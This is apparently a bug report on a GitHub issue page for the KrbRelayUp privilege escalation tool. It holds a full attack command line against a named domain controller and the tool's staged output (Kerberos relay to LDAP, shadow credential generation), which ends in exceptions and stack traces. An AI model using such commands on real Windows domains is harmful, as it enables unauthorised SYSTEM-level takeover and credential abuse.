-
Notifications
You must be signed in to change notification settings - Fork 211
Description
KrbRelayUp.exe full -m shadowcred --ForceShadowCred -dc mwdc1.midwest.local -p 2869 -cls 708860E0-F641-4611-8895-7D867DD3675B
KrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] Generating certificate
[+] Certificate generated
[+] Generating KeyCredential
[-] System.ArgumentNullException: Value cannot be null.
Parameter name: owner
at DSInternals.Common.Validator.AssertNotNullOrEmpty(String value, String paramName)
at DSInternals.Common.Data.KeyCredential.Initialize(Byte[] publicKey, Nullable1 deviceId, String owner, Nullable
1 currentTime, Boolean isComputerKey)
at DSInternals.Common.Data.KeyCredential..ctor(X509Certificate2 certificate, Nullable1 deviceId, String owner, Nullable
1 currentTime, Boolean isComputerKey)
at KrbRelayUp.Relay.Attacks.Ldap.ShadowCred.attack(IntPtr ld)
at KrbRelayUp.Relay.Ldap.Relay()
[-] LDAP connection failed
System.Runtime.InteropServices.COMException (0x80070721): A security package specific error occurred. (Exception from HRESULT: 0x80070721)
at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run()